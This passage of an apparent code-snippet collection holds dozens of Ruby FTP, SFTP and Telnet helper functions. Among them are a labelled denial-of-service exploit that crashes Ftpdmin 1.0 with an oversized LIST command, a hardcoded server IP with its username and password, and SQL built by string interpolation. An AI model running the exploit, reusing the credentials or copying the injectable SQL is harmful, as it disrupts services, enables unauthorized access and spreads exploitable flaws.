the most recent p4api build.\n # P4Ruby probably shouldn't do that by default.\n #version_dir = find_latest_version_dir(ftp)\n\n dir = ftp_download_dir(p4api_version_dir)\n ftp.chdir(dir)\n\n puts \"downloading #{filename} from #{dir} on ftp.perforce.com\"\n ftp.getbinaryfile(filename)\n\nensure\n ftp.close if ftp and !ftp.closed?\nend", "def upload_index_to_ftp\n ftp = Net::FTP.new('didmichiganstatewin.com')\n ftp.login(user=$ftp_user, passwd = $ftp_password)\n ftp.putbinaryfile('/home/matt/Documents/programming/ruby/dmsw/index.html')\n ftp.close\n $log.info(\"Uploaded to FTP okay!\")\nend", "def retrievable?\n !ftp_password.blank? && !retrieved? && !closed?\n end", "def uploadPictureToFTP(id,name, image, max_pic)\n errors = {}\n logger.info \"[INFO] Establishing connection with FTP Server\"\n # FTP connection\n ftp = Net::FTP.new(FTP_HOST)\n ftp.passive = true\n begin\n login = ftp.login(FTP_USERNAME, FTP_PASSWORD)\n rescue Net::FTPPermError\n logger.debug \"[ERROR] User cannot be logged in\"\n errors[:error] = \"User cannot be logged in\"\n return errors\n end\n if login\n logger.info \"[INFO] Login Done\"\n # Cheking routes existence\n folders = ftp.nlst\n if !folders.any?{|s| s.include? 'profile_pictures'}\n if !ftp.mkdir(\"#{PATH_TO_WEB_FILE}\")\n logger.debug \"[ERROR] Cannot create #{PATH_TO_WEB_FILE} directory\"\n errors[:error] = \"Cannot create #{PATH_TO_WEB_FILE} directory\"\n ftp.close\n return errors\n end\n end\n # Access to /profile_pictures\n ftp.chdir(PATH_TO_WEB_FILE)\n folders = ftp.nlst\n # Creating user folder if doesn't exist.\n if !folders.any?{|s| s.include? \"user_#{id}\"}\n if !ftp.mkdir(\"#{PATH_TO_WEB_FILE}/user_#{id}\")\n logger.debug \"[ERROR] Cannot create #{PATH_TO_WEB_FILE}/user_#{id} directory\"\n errors[:error] = \"Cannot create #{PATH_TO_WEB_FILE}/user_#{id} directory\"\n ftp.close\n return errors\n end\n end\n\n # Access to /profile_pictures/user_1\n ftp.chdir(\"#{PATH_TO_WEB_FILE}/user_#{id}\")\n\n # Checking if this file exists to add or not an extension e.g. (1)\n file_name = \"#{PATH_TO_WEB_FILE}/user_#{id}/#{name}\"\n files = ftp.nlst\n if files.length >= max_pic+ PREDEFINED_FILES\n logger.debug \"[ERROR] Picture can't be uploaded because excedeed maximum size\"\n errors[:error] = \"Picture can't be uploaded because excedeed maximum size\"\n ftp.close\n return errors\n end\n\n # Getting name and extension file.\n file_without_extension = name.split('.')[0]\n file_extension = name.split('.')[1]\n\n # Iterating over files to check for file name.\n # If it exists, we add a (1) at the end.\n # if it exists with some (\\d) pattern, get the number and add 1.\n # else we add the file with original name.\n pattern = /#{file_without_extension}\\(\\d\\).#{file_extension}/\n files.each do |s|\n if s.match(/#{name}/) != nil\n name = \"#{file_without_extension}(1).#{file_extension}\"\n else\n name_str = s.match(pattern)\n if name_str!= nil\n n_str = name_str[0]\n file_count = n_str[/\\((.*?)\\)/m,1]\n file_count = file_count.to_i\n file_count += 1\n name = \"#{file_without_extension}(#{file_count}).#{file_extension}\"\n end\n end\n end\n # Send string image\n ftp.puttextcontent(image, name)\n logger.info \"[INFO] Sending content to FTP Server\"\n\n # Finish ftp connection\n if ftp.last_response_code == OK\n logger.info \"[INFO] Image sended\"\n ftp.close\n return errors\n end\n end\n\n ftp.close\n return errors\n end", "def telnet_connect(ip,login,pswd)\r\n prompt_type=/[ftpusr:~>]*\\z/n\r\n puts\"ip,=#{ip},login=#{login},password=#{pswd}\"\r\n telnet = Net::Telnet.new('Host' => ip,'Prompt' =>prompt_type ,\"Output_log\" => \"dump_log.txt\" )\r\n\r\n #The prompt should be the real prompt while you entered your system\r\n telnet.cmd(''){|c| print c}\r\n telnet.waitfor(/[Ll]ogin[: ]*\\z/n) {|c| print c}\r\n telnet.cmd(login) {|c| print c}\r\n telnet.waitfor(/Password[: ]*\\z/n) {|c| print c}\r\n telnet.cmd(pswd) {|c| print c}\r\n\r\n # the following sentence can wrok for unity and webAdapt.\r\n telnet.waitfor(/[>]|Enter selection\\:/n) {|c| print c}\r\n\r\n sleep 5\r\n return telnet\r\n end", "def initialize(options={})\n @api_username = options[:api_username]\n @api_password = options[:api_password]\n @ftp_username = options[:ftp_username] || options[:api_username]\n @ftp_password = options[:ftp_password] || options[:api_password]\n @pod = options[:pod] || 5\n @api_url = options[:api_url] || \"http://api#{@pod}.silverpop.com\"\n @transact_url = options[:transact_url] || \"http://transact#{@pod}.silverpop.com\"\n @transfer_url = options[:transfer_url] || \"transfer#{@pod}.silverpop.com\"\n @ftp = Net::FTP.new\n @cached_lists = []\n end", "def do_login(mode)\r\n host = @host.value\r\n acct = @acct.value\r\n password = @password.value\r\n\r\n # Adjust user data by mode.\r\n if mode == 1 || (mode == 3 && acct == \"\" && password == \"\")\r\n acct ='anonymous'\r\n if password == \"\"\r\n password = 'anonymous'\r\n end\r\n end\r\n\r\n # Make sure we're all filled in.\r\n if host == \"\" || acct == \"\" || password == \"\"\r\n thud('No Login Info', \r\n \"You must provide a hostname and login credentials.\")\r\n return\r\n end\r\n\r\n # Attempt to connect to the remote host and log in\r\n begin\r\n @conn = Net::FTP.new(host, acct, password)\r\n @conn.passive = true\r\n rescue\r\n thud(\"Login Failed\", $!)\r\n @conn = nil\r\n return\r\n end\r\n\r\n # Display the listing in the window.\r\n @listwin.setconn(@conn)\r\n @main.destroy()\r\n end", "def consultarOcsFTP\n\tordenesCompraFtpPorRecepcionar =Array.new\n\tidsOcsEnFtp = consultarPedidos\n\tif idsOcsEnFtp.count>=1\n\t\tidsOcsEnFtp.each do |id|\n\t\t\tocCreada = actualizarOc(id)\n\t\t\tif ocCreada!=false\n\t\t\t\tordenesCompraFtpPorRecepcionar.append(ocCreada)\n\t\t\tend\n\t\tend\n\tend\n\n\t#Cada OC nueva se procesa\n\tseAceptaPorLoMenos1 = false\n\tordenesCompraFtpPorRecepcionar.each do |ordenCompra|\n\t\tif procesarOc(ordenCompra)\n\t\t\tseAceptaPorLoMenos1 = true\n\t\tend\n\tend\n\n\t#Si se acepto una OC, entonces se verifica stock y manda a producir\n\tif(seAceptaPorLoMenos1)\n\t\tProducirMateriasPrimas.new.producirStockBajo\n\tend\n\n\treturn ordenesCompraFtpPorRecepcionar\nend", "def get_list_of(ftp, parent_path = nil, parent_id = nil)\n ic = Iconv.new('UTF-8', ftp_encoding) if force_utf8\n ic_reverse = Iconv.new(ftp_encoding, 'UTF-8') if force_utf8\n\n retries_count = 0\n begin\n entry_list = parent_path ? ftp.list(parent_path) : ftp.list\n rescue => detail\n retries_count += 1\n @logger.error(\"Ftp LIST exception: \" + detail.class.to_s + \" detail: \" + detail.to_s)\n @logger.error(\"Retrying get ftp list #{retries_count}/#{@max_retries}\")\n raise if (retries_count >= @max_retries)\n \n reconnect_retries_count = 0\n begin\n ftp.close if (ftp && !ftp.closed?)\n @logger.error(\"Wait 30s before reconnect\")\n sleep(30)\n ftp.connect(host)\n ftp.login(login, password)\n ftp.passive = true\n rescue => detail2\n reconnect_retries_count += 1\n @logger.error(\"Reconnect ftp failed, exception: \" + detail2.class.to_s + \" detail: \" + detail2.to_s)\n @logger.error(\"Retrying reconnect #{reconnect_retries_count}/#{@max_retries}\")\n raise if (reconnect_retries_count >= @max_retries)\n retry\n end\n \n @logger.error(\"Ftp reconnected!\")\n retry\n end\n\n entry_list.each do |e|\n # Some ftp will send 'total nn' string in LIST command\n # We should ignore this line\n next if /^total/.match(e)\n\nputs \"#{@entry_count} #{e}\"\n\n if force_utf8\n begin\n e_utf8 = ic.iconv(e)\n rescue Iconv::IllegalSequence\n @logger.error(\"Iconv::IllegalSequence, file ignored. raw data: \" + e)\n next\n end\n end\n entry = Net::FTP::List.parse(force_utf8 ? e_utf8 : e, ftp_type)\n\n next if ignored_dirs.include?(entry.basename)\n\n @entry_count += 1\n\n begin\n file_datetime = entry.file_datetime.strftime(\"%Y-%m-%d %H:%M:%S\")\n rescue => detail3\n puts(\"strftime failed, exception: \" + detail3.class.to_s + \" detail: \" + detail3.to_s)\n @logger.error(\"strftime failed, exception: \" + detail3.class.to_s + \" detail: \" + detail3.to_s) \n @logger.error(\"raw entry: \" + e)\n end\n\n sql = \"insert into #{in_swap ? 'ftp_entries' : 'swap_ftp_entries'}\"\n sql += \" (parent_id,name,size,entry_datetime,directory,ftp_server_id)\"\n entry_basename = entry.basename.gsub(\"'\",\"''\")\n sql += \" VALUES (#{parent_id || 0},'#{entry_basename}',#{entry.file_size},'#{file_datetime}',#{entry.dir? ? 1 : 0},#{id})\"\n\n entry_id = ActiveRecord::Base.connection.insert(sql)\n if entry.dir?\n ftp_path = (parent_path ? parent_path : '') + '/' +\n (force_utf8 ? ic_reverse.iconv(entry.basename) : entry.basename)\n get_list_of(ftp, ftp_path, entry_id)\n end\n\n end\n end", "def connect_from(source_ip, host, port)\n in_addr = Socket.pack_sockaddr_in(0, source_ip)\n out_addr = Socket.pack_sockaddr_in(port, host)\n socket = Socket.open(Socket::AF_INET, Socket::SOCK_STREAM, 0)\n socket.bind(in_addr)\n socket.connect(out_addr)\n decorate_socket socket\n @ftp = make_ftp\n @ftp.set_socket(socket)\n end", "def close\n @ftp.close\n end", "def connect_login(global = true)\n ftpsock = connect(global)\n\n\n if !(user and pass)\n print_status(\"No username and password were supplied, unable to login\")\n return false\n end\n\n print_status(\"Authenticating as #{user} with password #{pass}...\")\n res = raw_send_recv(\"a001 LOGIN #{user} #{pass}\\r\\n\")\n\n if (res !~ /^a001 OK/)\n print_status(\"Authentication failed\")\n return false\n end\n\n return true\n end", "def close\n @ftp.close\n @ftp.closed?\n end", "def connect_sftp(hostname, username, password, port=22, options)\n begin\n log_error(\"Connecting to remote server #{hostname} by sFTP protocol\")\n if options[:debugssh]\n puts \"---Starting SFTP connection in verbose mode\"\n puts \"---SFTP connection verbosity: DEBUG\"\n sftp = Net::SFTP.start(hostname, username, :password => password, :port => port, :timeout => 20, :keepalive => true, :keepalive_maxcount => 3, :keepalive_interval => 10, :verbose=>:debug)\n else \n sftp = Net::SFTP.start(hostname, username, :password => password, :port => port, :timeout => 20, :keepalive => true, :keepalive_maxcount => 3, :keepalive_interval => 10) \n end\n #, :number_of_password_prompts => \"#{prompts}\") #:verbose=>:debug,\n # Verbosity levels :debug, :info, :warn, :error, and :fatal \n rescue Net::SSH::ConnectionTimeout => timeout_error\n log_error(\"Timed out: #{timeout_error}\")\n rescue Net::SSH::AuthenticationFailed => login_error\n log_error(\"Authentication failure\")\n rescue Errno::EHOSTUNREACH => login_error\n log_error(\"Host unreachable\")\n rescue Errno::ECONNREFUSED => login_error\n log_error(\"Connection refused\")\n ensure\n log_error(\"Ensuring sftp state\")\n if sftp.nil?\n log_error(\"Unable to connect to the sFTP server: #{hostname}\")\n exit 2\n elsif sftp.open?\n log_error(\"Connected to the sFTP server #{hostname}\")\n else\n log_error(\"Ftp connection established, but not open\")\n exit 2\n end\n end\nend", "def ftp_listing(ftp, host)\n passdump=@@outdir + host + '-ftp_dump.txt'\n f=File.open(passdump, 'a+')\n welcome_msg = ftp.last_response\n pwd = ftp.pwd\n @base = pwd\n sys = ftp.system\n content = ftp.list(pwd)\n f.puts \"BANNER: \\n#{welcome_msg.chomp}\"\n f.puts \"SYS: #{sys.chomp}\"\n f.puts \"PWD: #{pwd.chomp}\"\n f.close\n print_good(\"BANNER:\\n#{welcome_msg.chomp}\")\n print_good(\"SYS: #{sys.chomp}\")\n print_good(\"PWD: #{pwd.chomp}\")\n ftp_scan(ftp, ftp.pwd, host)\n ftp.close\n puts\n end", "def connect_to_host(host,port,user,password,sftp=false)\n begin\n if sftp\n @log.info(\"SFTP connect to host #{host}:#{port}\")\n @ssh_connect = Net::SFTP.start(host,user,:password=>password,:port=>port)\n else\n @log.info(\"SSH connect to host #{host}:#{port}\")\n @ssh_connect = Net::SSH.start(host,user,:password=>password,:port=>port)\n end\n rescue Exception => error\n @log.error(\"#{error}\")\n exit\n end\n end", "def initialize(name, ftpUrl, directory, username, passwd, extension, backupUrl = nil, keepForDays = 100, weekdays = [0])\n @name = name\n @ftpUrl = ftpUrl\n @backupUrl = backupUrl\n @directory = directory\n @username = username\n @passwd = passwd\n @folder = LOCALFOLDER+\"/\"+@name+\"/\"\n @extension = extension\n @keepForDays = keepForDays\n @weekdays = weekdays\n self.create_if_missing\n end", "def wait_for_xml_upload # 모바일용 지면보기 XML 콘테이너/업데이트정보 생성될 때 까지 2분간격 확인\n year = date.year\n month = date.month.to_s.rjust(2, '0')\n day = date.day.to_s.rjust(2, '0')\n issue_date = \"#{year}#{month}#{day}\"\n ip = '211.115.91.68'\n id = 'jimeun'\n pw = 'sodlfwlaus2018!@#$'\n ftp_folder = \"#{year}/#{month}/#{day}\"\n found = false\n 100.times do\n Net::FTP.open(ip, id, pw) do |ftp|\n ftp.chdir(ftp_folder)\n files_in_folder = ftp.list\n files_in_folder.each do |file|\n found = true if file.include?('Container.xml')\n break if found\n end\n end\n return true if found\n puts \"+++++++ Container.xml 파일이 생성되지 않았습니다.\"\n sleep 120 # 2 min\n end\n found\nend", "def size_on_ftp(file_or_dir)\n path = file_or_dir.try(:path) || URI.split(file_or_dir.to_s)[5]\n with_connection do |ftp|\n begin\n ftp.size(path)\n rescue Net::FTPPermError\n 0\n end\n end\n end", "def download_file(file)\r\n #name_file = \"20141010MGPPrezzi.xml\"\r\n name_file = parse_name_file file\r\n path_xml = crea_dir_per_xml\r\n full_path = path_xml+name_file\r\n\r\n #entro dentro la directory nel server ftp\r\n @ftp.chdir(\"/MercatiElettrici/#{file}\")\r\n\r\n #scarico nella directory corrente il file\r\n begin\r\n ftp.getbinaryfile(name_file, full_path)\r\n puts \"Download #{name_file}\"\r\n return full_path\r\n rescue\r\n return false\r\n end\r\n end", "def ftp_logout\n self.ftp.close\n end", "def ftp_auth\n if User.authenticate(:userid => params[:login], :password => params[:password])\n\n # if http_authenticate(params[:userid], params[:password]) \n user = current_user\n\n @output = <<-END\n auth_ok:1\n uid:#{483}\n gid:#{483}\n dir:#{user_files_root(user)}\n end\n END\n\n else\n # invalid user, so all we need is for auth_ok to be 0\n @output = \"auth_ok:0\\n\" + \"end\\n\"\n end\n return @output, :layout => false\n end", "def fetch_from_ftp(url, username = nil, password = nil, _include_data = true)\n uri = URI.parse(url)\n username, password = uri.userinfo.split(/:/) unless uri.userinfo.nil?\n\n username = 'anonymous' if username.nil?\n\n ftp = Net::FTP.new(uri.host)\n ftp.login(username, password)\n tmp = Tempfile.new('_seek')\n ftp.getbinaryfile(uri.path, tmp.path)\n ftp.close\n result = { filename: File.basename(url), content_type: nil }\n result = cache tmp, result, url, username, password\n result\n end", "def createFtpFolder\n path = @params['path']\n Rho::AsyncHttp.get(\n :url => path\n )\n end", "def ftp_download(host, dir, file, ofile, file_log)\n\t\t\tftp = Net::FTP.new(host)\n\t\t\tftp.login\n\t\t\tftp.chdir(dir)\n\t\t\t\t\t\n\t\t\tfilesize = ftp.size(file)\n\t\t\tif _check_download_size(ofile, filesize)\n\t\t\t\ttransferred = 0\n\t\t\t\tpb = ProgressBar.new(file, 100)\n\t\t\t\tftp.getbinaryfile(file, ofile, 1024) do |data|\n\t\t\t\t\tif data\n\t\t\t\t\t\ttransferred += data.size\n\t\t\t\t\t\tif transferred != 0\n\t\t\t\t\t\t\tpercent_finished = 100 * (transferred.to_f / filesize.to_f)\n\t\t\t\t\t\t\tpb.set(percent_finished)\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\terror \"data returned by server is empty!\"\n\t\t\t\t\t\treturn\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\t\tpb.finish\n\t\t\tend\n\t\t\tftp.close\n\t\tend", "def ftp_get_error\n code = @ftp.last_response_code\n code[0] == '2' ? nil : [code, @ftp.last_response]\n end", "def connect!\n end", "def sync( options = {} )\n options = { :local => \".\", :remote => \".\" , :passive => false}.merge( options )\n local, remote , passive = options[:local], options[:remote], options[:passive]\n \n tmpname = tmpfilename\n connect do |ftp|\n ftp.passive = passive\n # Read remote .syncftp\n begin\n ftp.gettextfile( remote+\"/\"+\".syncftp\", tmpname )\n @remote_md5s = YAML.load( File.open( tmpname ).read )\n rescue Net::FTPPermError => e\n raise Net::FTPPermError, e.message, caller if ftp.remote_file_exist?( remote+\"/\"+\".syncftp\" )\n end\n \n # Do the job Bob !\n send_dir( ftp, local, remote )\n \n # Write new .syncftp\n File.open( tmpname, 'w' ) do |out|\n YAML.dump( @local_md5s, out )\n end\n \n # Delete files\n @delete_dirs = []\n @delete_files = []\n @remote_md5s.keys.clone.delete_if{ |f| @local_md5s.keys.include?(f) }.each do |f|\n if @remote_md5s[f] == \"*\"\n @delete_dirs << f\n else\n @delete_files << f\n end\n end\n @delete_files.each do |f|\n @log.info \"Delete ftp://#{@host}:#{@port}/#{f}\"\n begin\n ftp.delete( f )\n rescue => e\n @log.info \"ftp://#{@host}:#{@port}/#{f} does not exist\"\n end\n end \n @delete_dirs.each do |f|\n @log.info \"Delete ftp://#{@host}:#{@port}/#{f}\"\n begin\n ftp.delete( f )\n rescue => e\n @log.info \"ftp://#{@host}:#{@port}/#{f} does not exist\"\n end\n end \n \n ftp.puttextfile( tmpname, remote+\"/\"+\".syncftp\" )\n end\n File.delete( tmpname )\n end", "def create\n @ftpfile = Ftpfile.new(ftpfile_params)\n\n respond_to do |format|\n if @ftpfile.save\n format.html { redirect_to @ftpfile, notice: 'Ftpfile was successfully created.' }\n format.json { render :show, status: :created, location: @ftpfile }\n else\n format.html { render :new }\n format.json { render json: @ftpfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def connect\n\tend", "def create\n @ftp_server = FtpServer.new(ftp_server_params)\n\n respond_to do |format|\n if @ftp_server.save\n format.html { redirect_to @ftp_server, notice: 'Ftp server was successfully created.' }\n format.json { render :show, status: :created, location: @ftp_server }\n else\n format.html { render :new }\n format.json { render json: @ftp_server.errors, status: :unprocessable_entity }\n end\n end\n end", "def connect(uri, options = T.unsafe(nil)); end", "def uploadFilestoFTP(order_hash, status_hash)\n\t\torder_number = order_hash[:order_number]\n\t\tfile_path = File.join(File.dirname(__FILE__), 'orders', order_number, \"*\")\n\t\tbegin\n\t\t\tNet::FTP.open($CONFIG[:ftp_server]) do |ftp|\n\t\t\t\tftp.passive = true\n\t\t\t\tftp.login(user = $CONFIG[:ftp_user], passwd = $CONFIG[:ftp_pass])\n\t\t\t\tftp.mkdir(\"#{order_number}\") if !ftp.list(\"/\").any?{|dir| dir.match(\"#{order_number}\")}\n\t\t\t\t\t\t\t\t\n\t\t\t\tDir.glob(file_path).each do|file|\n\t\t\t\t\tfile_name = Pathname.new(file).basename.to_s\n\t\t\t\t\tftp.putbinaryfile(file, \"/#{order_number}/#{file_name}\", 1024)\n\t\t\t\tend\n\t\t\t\tstatus_hash[:ftp_status] = 1\n\t\t\t\tstatus_hash[:ftp_msg] = 'files copied to ftp'\n\t\t\tend\n\t\trescue => e\n\t\t\tstatus_hash[:status] = 1\n\t\t\tstatus_hash[:ftp_status] = 0\n\t\t\tstatus_hash[:ftp_msg] = 'not connected'\n\t\t\tstatus_hash[:s3_status] = 0\n\t\t\tstatus_hash[:msg] = e\n\t\tend\t \n\tend", "def sftp_params\n params[:sftp]\n end", "def submittable?\n !ftp_password.blank? && !submitted? && !closed?\n end", "def update\n respond_to do |format|\n if @ftpfile.update(ftpfile_params)\n format.html { redirect_to @ftpfile, notice: 'Ftpfile was successfully updated.' }\n format.json { render :show, status: :ok, location: @ftpfile }\n else\n format.html { render :edit }\n format.json { render json: @ftpfile.errors, status: :unprocessable_entity }\n end\n end\n end", "def portuguese()\ndef len(str)\n return str.length\nend\n\nsys = `ver`\nif sys=~/Windows/\nsystem(\"cls\")\nsystem(\"color 4f\")\nelse\nsystem(\"clear\")\nend\n\ndef usage()\nprint \"\"\"\n\n =======================================================\n =======================================================\n ==========Exploit Denial of Service Ftpdmin 1.0========\n ==========Autor C4SS!0 G0M3S===========================\n ==========E-mail Louredo_@hotmail.com==================\n ==========Site www.exploit-br.org======================\n =======================================================\n =======================================================\n\n\"\"\"\nend\n\nif len(ARGV)!=2 \n usage()\n print \"\\t\\t[-]Modo de Uso: ruby #{$0} <Host> <Porta>\\n\"\n print \"\\t\\t[-]Exemplo: ruby #{$0} 192.168.1.2 21\\n\"\n exit(0)\nend\nusage()\nbuf = \"./A\" * (150/3)\n\nhost = ARGV[0]\nporta = ARGV[1].to_i\nprint \"\\t\\t[+]Conectando ao Servidor #{host}...\\n\\n\"\nsleep(1)\nbegin\ns = TCPSocket.new(host,porta)\nprint \"\\t\\t[+]Checando se o Servidor e Vulneravel\\n\\n\"\nsleep(1)\nrescue\nprint \"\\t\\t[+]Erro ao se Conectar no Servidor\\n\"\nexit(0)\nend\nbanner = s.recv(2000)\ns.close\nunless banner =~/Minftpd/\n print \"\\t\\t[+]Sinto Muito, o Servidor Nao e Vulneravel:(\\n\"\n sleep(1)\n exit(0)\n end\n print \"\\t\\t[+]Servidor e Vulneravel:)\\n\\n\"\n sleep(1)\n print \"\\t\\t[+]Enviando Exploit...\\n\\n\"\nsleep(1)\n\ni=0\nwhile i<20\nsock = TCPSocket.new(host,porta)\nsock.recv(2000)\nsock.puts \"USER anonymous\\r\\n\"\nsock.recv(2000)\nsock.puts \"PASS anonymous\\r\\n\"\nsock.recv(2000)\nsock.puts \"LIST #{buf}\\r\\n\"\nsock.close\ni+=1\nend\nprint \"\\t\\t[+]Exploit Enviado com Sucesso\\n\\n\"\nsleep(1)\nprint \"\\t\\t[+]Checando se o Exploit Funcionou\\n\\n\"\nsleep(5)\n\nbegin\nso = TCPSocket.new(host,porta)\nso.send(\"2000\")\nprint \"\\t\\t[+]Sinto Muito,O Exploit Nao Funcionou:(\\n\\n\"\nrescue\nprint \"\\t\\t[+]Parabens, O Exploit Funcionou com Sucesso:)\\n\\n\"\nend\nend", "def create\r\n @ftp_server = FtpServer.new(ftp_server_params)\r\n respond_to do |format|\r\n if @ftp_server.save\r\n format.html { redirect_to ftp_servers_url, notice: 'Ftp server was successfully created.' }\r\n format.json { render :show, status: :created, location: @ftp_server }\r\n else\r\n format.html { render :new }\r\n format.json { render json: @ftp_server.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def supported_protocols\n [\"afp\", \"smb\", \"ftp\"]\n end", "def ftpSetupMethod(parentfolder, childfolder, logkey='')\n ftpsetup = Ftpfunctions.createDirs(parentfolder, childfolder)\n return ftpsetup\nrescue => logstring\n return ''\nensure\n Mcmlln::Tools.logtoJson(@log_hash, logkey, logstring)\nend", "def connect_sftp(hostname, username, password, port=22)\n log_error(\"Connecting to remote server #{hostname} by sFTP protocol\")\n sftp = Net::SFTP.start(hostname, username, :password => password, :port => port, :timeout => 20) #, :number_of_password_prompts => \"#{prompts}\") #:verbose=>:debug,\n counter = 0\n state = sftp.state\n unless state =~ /open$/ \n log_error(\"Establishing connection...\") \n counter +=1\n sleep 4\n at_exit do \n log_error(\"Unable to connect to the sFTP server: #{hostname}\")\n\tend\n exit 3 if counter > 5\n else\n log_error(\"Connected to the sFTP server #{hostname}\")\n return sftp\n end\n rescue Net::SSH::ConnectionTimeout => timeout_error\n log_error(\"Timed out: #{timeout_error}\")\n rescue Net::SSH::AuthenticationFailed => login_error\n log_error(\"Authentication failure\")\n rescue Errno::EHOSTUNREACH => login_error\n log_error(\"Host unreachable\")\n rescue Errno::ECONNREFUSED => login_error\n log_error(\"Connection refused\")\n ensure\n=begin\n if sftp.open? == true\n log_error(\"Connected to the sFTP server #{hostname}\")\n else\n log_error(\"Unable to connect to the sFTP server: #{hostname}\")\n end\n=end\n# return sftp\nend", "def ftp_download(target,\n url_to_download,\n count,\n total,\n ftp_server,\n ftp_dir,\n destination_dir)\n Log.log_debug(' Into download (target=' + target +\n ') url_to_download=' + url_to_download +\n ' count=' + count.to_s +\n ' total=' + total.to_s +\n ' ftp_server=' + ftp_server +\n ' ftp_dir=' + ftp_dir +\n ' destination_dir=' + destination_dir)\n returned_downloaded_filenames = {}\n #\n Net::FTP.open(ftp_server) do |ftp|\n ftp.login\n ftp.read_timeout = 300\n ftp.chdir(ftp_dir)\n files_on_ftp_server = ftp.nlst('*.epkg.Z')\n subcount = 0\n #\n files_on_ftp_server.each do |file_on_ftp_server|\n fix_to_download = ::File.join(url_to_download,\n ::File.basename(file_on_ftp_server))\n #\n begin\n # download file\n local_path_of_file_to_download =\n ::File.join(destination_dir,\n ::File.basename(file_on_ftp_server))\n Log.log_debug(' Consider downloading ' +\n fix_to_download +\n ' into ' +\n local_path_of_file_to_download +\n \" : #{count}.#{subcount}/#{total} fixes.\")\n #\n if !::File.exist?(local_path_of_file_to_download)\n Log.log_debug(' downloading ' + fix_to_download +\n 'into ' +\n local_path_of_file_to_download +\n \" : #{count}.#{subcount}/#{total} fixes.\")\n #\n ftp.getbinaryfile(::File.basename(file_on_ftp_server),\n local_path_of_file_to_download)\n b_download = 1\n else\n Log.log_debug(' not downloading ' +\n fix_to_download +\n 'into ' +\n local_path_of_file_to_download +\n \" : #{count}.#{subcount}/#{total} fixes.\")\n b_download = 0\n end\n #\n subcount += 1\n #\n returned_downloaded_filenames[::File.basename(local_path_of_file_to_download)] = b_download\n rescue Errno::ENOSPC => e\n Log.log_err('Automatically increasing file system when ftp_downloading as\\\n Exception e=' + e.to_s)\n Flrtvc.increase_filesystem(destination_dir)\n return ftp_download(target,\n url_to_download,\n count,\n total,\n ftp_server,\n ftp_dir,\n destination_dir)\n rescue StandardError => e\n Log.log_err('Exception e=' + e.to_s)\n # Log.log_warning(\"Propagating exception of type '#{e.class}' when ftp_downloading!\")\n returned_downloaded_filenames[::File.basename(local_path_of_file_to_download)] = -1\n end\n end\n end\n Log.log_debug('returned_downloaded_filenames=' + returned_downloaded_filenames.to_s)\n returned_downloaded_filenames\n end", "def ftp(src,uri)\n log \"Publishing #{src} to #{uri}...\"\n\n params = params(uri)\n \n host = uri.host\n\n # Use supplied credentials or get them from a \".netrc\" file\n if uri.user\n user = uri.user\n password = uri.password\n else\n require 'net/netrc' # gem install net-netrc\n do_or_die(rc = Net::Netrc.locate(host), \"Using FTP login (user='#{rc.login}')\",\n \"Could not obtain credentials for #{host}\")\n user = rc.login\n password = rc.password\n\n end\n\n if params[:tar] and params[:tar][0] == 'true'\n\n log \"Creating archive for FTP upload\"\n archive = Tempfile.new(\"ghostbuster-publish-\")\n %x(tar jcf #{archive.path} -C #{src} .) \n\n log \"Connecting to #{host}\"\n Net::FTP.open(host) do |ftp|\n do_or_die(ftp.login(user, password), \"Authenticated\", \"Login failed\")\n ftp.chdir(uri.path) unless uri.path.empty?\n log \"Uploading\"\n ftp.putbinaryfile(archive.path)\n ftp.close\n log \"Done\"\n end\n\n else\n log \"Connecting to #{host}\"\n do_or_die(ftp = SyncFTP.new(host, username: user, password: password), \"Authenticated\", \"Login failed\")\n log \"Syncing local:#{src} to remote:#{uri.path}\"\n ftp.sync(local:src, remote:uri.path)\n end\n end", "def connect!; end", "def connect!; end", "def create\n @dataload_ftp = DataloadFtp.new(params[:dataload_ftp])\n\n respond_to do |format|\n if @dataload_ftp.save\n format.html { redirect_to @dataload_ftp, notice: 'Dataload ftp was successfully created.' }\n format.json { render json: @dataload_ftp, status: :created, location: @dataload_ftp }\n else\n format.html { render action: \"new\" }\n format.json { render json: @dataload_ftp.errors, status: :unprocessable_entity }\n end\n end\n end", "def open_connection\n # FIXME il timeout serve solamente nella versione tcp\n # FIXME perchè utilizzare un'istanza di classe? non sarebbe meglio avere un metodo che genera il transport\n # e successivamente viene utilizzato sempre quello?\n Timeout.timeout @timeout do\n case @transport\n when :tcp\n @connection = KonoEppClient::Transport::TcpTransport.new(server, port)\n when :http\n @connection = KonoEppClient::Transport::HttpTransport.new(server, port,\n ssl_version: ssl_version,\n cookie_file: \"#{@tag.downcase}.cookies.pstore\"\n )\n end\n end\n end", "def initialize(uri, settings = {})\n super\n @path = Pathname '.'\n @settings[:password] = @credentials[:password]\n @ssh_options = XFTP.config.ssh.deep_merge(@settings)\n end", "def upload_to_ftp\n self.order_items.each do |o_i|\n if o_i.gift_value.nil?\n return\n end\n if (o_i.photo.nil? || o_i.photo.image_file_name.nil?) && o_i.gift_value.nil?\n self.success = false\n self.ftp_upload_attempts_num = (self.ftp_upload_attempts_num || 0) + 1\n self.save(validate: false)\n \n if self.ftp_upload_attempts_num <= 3\n Order.delay(run_at: 15.minutes.from_now).upload_xml_photos(self) \n else\n OrderMailer.delay.notify_error_retry_ftp_upload_failed(self, \"Order Item #{o_i.id} is invalid\")\n end\n return\n end\n end\n\n xml_file = to_xml\n\n ftp = Net::FTP.open(CONTENT_SERVER_DOMAIN_NAME, CONTENT_SERVER_FTP_LOGIN, CONTENT_SERVER_FTP_PASSWORD)\n\n ftp.passive = true\n\n # check if the directory existence\n # create the directory if it does not exist yet\n folder_name = xml_file.split(\".xml\")[0].split(\"tmp/\")[1]\n\n ftp.mkdir(\"/#{folder_name}\") if !ftp.list(\"/\").any?{|dir| dir.index(folder_name)}\n \n txt_file_object = File.new(xml_file)\n ftp.putbinaryfile(txt_file_object, \"#{folder_name}/wrapper.xml\")\n\n uploaded_photos = {}\n\n finished = false\n max_attempts = 1000\n errors = []\n \n self.order_items.each_with_index do |o_i, index|\n next if o_i.photo.nil? || o_i.photo.image_file_name.nil?\n finished = false\n while !finished\n begin\n o_photo_url = o_i.photo.image.url\n\n if uploaded_photos[o_photo_url]\n if uploaded_photos[o_photo_url][:success]\n finished = true\n else\n uploaded_photos[o_photo_url][:attempts] += 1\n\n if uploaded_photos[o_photo_url][:attempts] > max_attempts\n finished = true\n ftp.close\n\n 